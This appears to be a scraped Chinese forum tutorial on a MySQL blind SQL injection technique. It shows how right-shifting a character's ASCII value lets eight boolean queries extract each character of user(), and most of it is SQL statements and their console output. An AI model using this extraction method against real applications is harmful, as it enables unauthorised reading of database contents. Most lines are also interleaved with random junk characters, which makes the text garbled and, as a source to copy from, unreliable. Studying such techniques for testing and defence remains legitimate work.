关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
) P9 b  x/ [/ b4 g7 w9 y
- t: |# k* K1 f0 J+ w* Z  O
' f( {8 D+ L" c* @7 d9 k
下面将以查询mysql数据库当中user()的第一位为例:
. |% {" d: F9 t
, j! k# R2 H9 Q' e# f

ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
1 y/ h- Y* F* ]9 x1 I

' S& t+ ~; G- G9 ~) b* {& X/ I$ {
首先执行如下sql语句:
' R/ H% L0 R. P4 W5 [/ e% {" w. B


mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
  A* g) j& v, U/ |0 S
. ^2 f' Q4 X9 L7 x0 r
( C0 S' S9 D/ W* b- _
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
6 U$ d2 I9 S8 u7 ~+ H6 \
3 C6 p$ y+ V" {* j+ a
- t3 F5 ]6 F$ `* b4 t6 I
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
) B, _- b4 s5 L% \  y, j! |7 r, _( K
% U" f( ~6 D% g7 ^. f
) h) [: _1 M* k6 |9 A
! j5 p) ^3 u6 p  T7 A如果运算结果为1,说明第一位为0,不为1

4 @0 C1 m/ U. m5 x) Z+ r
6 b* y) J/ w, N: e
. \5 h6 x9 I# N  T* e# F( M+————————————–+

| (ascii((substr(user(),1,1))) >> 7)=0 |

+————————————–+

| 1 |

+————————————–+
! o' Q6 k( B- E
0 T. `. o6 O6 i" |/ y$ e7 v1 row in set (0.00 sec)
) n  ^5 f4 @7 e  f# J
- u( J' `$ Q9 r6 m) S& A8 X这样我们就确定这个8bit的ascii的第一位为0
; G6 f3 y2 j/ R6 Q/ R( y# j


- {1 v: d8 s/ W9 d# D! O第二次我们来做6次右偏移来确定前两位
- l, j8 Y3 z" Z/ u" a5 U
, O7 I. I) g, h( z# I( \

前两位可能是01或00,即依然可以与0做比较,

% B9 P6 P  V1 R4 ?, ^/ O9 l* Imysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+————————————–+
/ n" t1 _4 W% @/ k9 F. e
. a- I, ~! l  ?1 A3 n- Y$ ^| (ascii((substr(user(),1,1))) >> 6)=0 |

) i9 g% S& }& F+————————————–+
$ c% L5 c" O0 Z$ `
1 ^1 I1 w" D# u! \+ t| 0 |

) i, C3 t6 W1 \+————————————–+
1 j/ x+ J& K  f! z& o/ r
1 row in set (0.00 sec)
  J! D, |" l: R. A( H5 G


$ b$ m( k' C8 O8 r6 m$ T7 r- x9 ]; y6 w结果为0,即第二位为1

2 `1 h  ?* O% s/ ]
0 q1 A" S6 I' ?4 n% k
$ Z% ~5 @% V2 z' F开始猜测前三位为010或011
% Z) }3 W' c* Q# G4 ~
- \1 T1 P/ {+ E+ L1 H
6 E6 u/ @" s% \- a( A; ^) G- O
% ?6 q0 z# g# g& [. `* }& H, p让我们看看010和011的ascii码是多少

$ Y/ B' M1 ?. m) `' s+ R

分别查询select b’011′ select b’010′


  v- X8 a- o% z$ s4 E
4 e& @' f. t5 N) N获得结果 010 = 2 011 = 3
+ k+ W1 q: q0 B& n' [1 C- g


执行如下sql:
9 e+ d! I1 T. U  a- h3 M; l* q* V
* v8 l( V/ U8 H/ w* P

mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
- x$ e& }/ J: L  ?. |: A4 X8 d+ Q
+————————————–+

| (ascii((substr(user(),1,1))) >> 5)=2 |
8 u( s6 t6 Q, L# `- l9 e; K; ]5 v
+————————————–+

8 B2 @8 b% A! c, J$ `| 0 |
; F/ W# m5 r0 }. s
, \" o, x" a3 x* p9 N7 x9 y+————————————–+

即前三位不为010,而是011

& I' a3 N  ?  C/ ^2 d3 x' G1 s
9 `6 ?8 {2 b: X* Y
直到获得最后一位
2 L' D! E8 P3 e( T8 Z' F
1 `- u+ M' H; `- l& a! `2 e) N; [

. L* G1 ^8 K' ]" p  S" w最终结果为:01110010
3 A5 T+ P2 l0 i! M; X+ f

( Y: a2 G6 f+ ^5 K
转换一下:
1 H5 X* b, @: g+ [( I6 ?# I


select b’01110010′



7 H7 Y: U. w$ L# n6 U查询结果


; l5 `$ z4 U0 T3 K* P, P
: S. v. {! z: T( F+————-+

| b’01110010′ |

+————-+

5 y- I/ Y) I& {! q% B& O, s2 ]| r |
  G" ?  y$ q4 m# {5 Z
+————-+
+ w& R- P: f6 ~' U& }
1 row in set (0.00 sec)
  c2 V+ D9 b# G. r3 `1 m
1 J; m$ ?5 {5 ^6 v; O* Z

) X/ T! g- x; c) h这样我们就获得了user()的第一位.其它位依此类推
( Q/ V. E4 f  F# u) ]